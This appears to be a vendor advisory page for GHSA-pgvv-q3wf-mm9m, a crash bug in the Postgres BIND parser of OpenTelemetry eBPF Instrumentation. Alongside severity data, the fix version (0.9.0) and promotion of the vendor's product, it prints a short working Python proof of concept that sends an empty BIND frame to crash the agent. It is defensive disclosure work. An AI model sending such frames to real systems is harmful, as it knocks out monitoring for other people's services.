GHSA-pgvv-q3wf-mm9m
HIGHGHSA-pgvv-q3wf-mm9m is a high-severity (CVSS 7.5) Improper Input Validation vulnerability in go.opentelemetry.io/obi. O3 Security confirms whether GHSA-pgvv-q3wf-mm9m is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.
OpenTelemetry eBPF Instrumentation: Postgres BIND parsing can panic on malformed payloads
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
Exploitation and automatability from CISA’s SSVC triage for GHSA-pgvv-q3wf-mm9m.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
GHSA-pgvv-q3wf-mm9m plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 357,322 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
go.opentelemetry.io/obiReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.
Description
Summary
The Postgres protocol parser assumes BIND message payloads contain a valid NUL-terminated portal name. A crafted empty or unterminated payload can make OBI slice beyond the end of the captured buffer and panic.
Details
The vulnerable logic is in pkg/ebpf/common/sql_detect_postgres.go. In the BIND case, OBI converts the full payload to a string with unix.ByteSliceToString(msg.data), computes portalLen := len(portal) + 1, and then slices msg.data[portalLen:] to derive the statement name.
There is no check that msg.data actually contains a NUL terminator or even enough bytes for portalLen. With an empty payload or a truncated message, portalLen can exceed the slice length and trigger a runtime panic.
PoC
Local testing with a minimal reproducer showed the expected slice bounds out of range crash for an empty BIND payload.
Use a vulnerable build:
git checkout v0.0.0-rc.1+build
make build
Start a local Postgres instance and OBI:
docker run --rm -e POSTGRES_PASSWORD=postgres -p 5432:5432 postgres:17
sudo ./bin/obi
Send a malformed BIND frame with an empty payload:
# save as /tmp/pg-bind-poc.py
import socket, struct
tag = b'B'
length = struct.pack(">I", 4)
payload = b""
s = socket.create_connection(("127.0.0.1", 5432))
s.sendall(tag + length + payload)
s.close()
Run it:
python3 /tmp/pg-bind-poc.py
On a vulnerable build, the Postgres parser in OBI panics while processing the captured payload.
Impact
This is a remote availability issue in OBI's Postgres parser. Any attacker able to send malformed Postgres traffic to a monitored service can crash the agent and stop telemetry collection for that node or process.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐹Go | go.opentelemetry.io/obi | all versions | 0.9.0 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for go.opentelemetry.io/obi. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update go.opentelemetry.io/obi to 0.9.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-pgvv-q3wf-mm9m is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-pgvv-q3wf-mm9m is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-pgvv-q3wf-mm9m. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-pgvv-q3wf-mm9m in your dependencies?
O3 detects GHSA-pgvv-q3wf-mm9m across Go dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.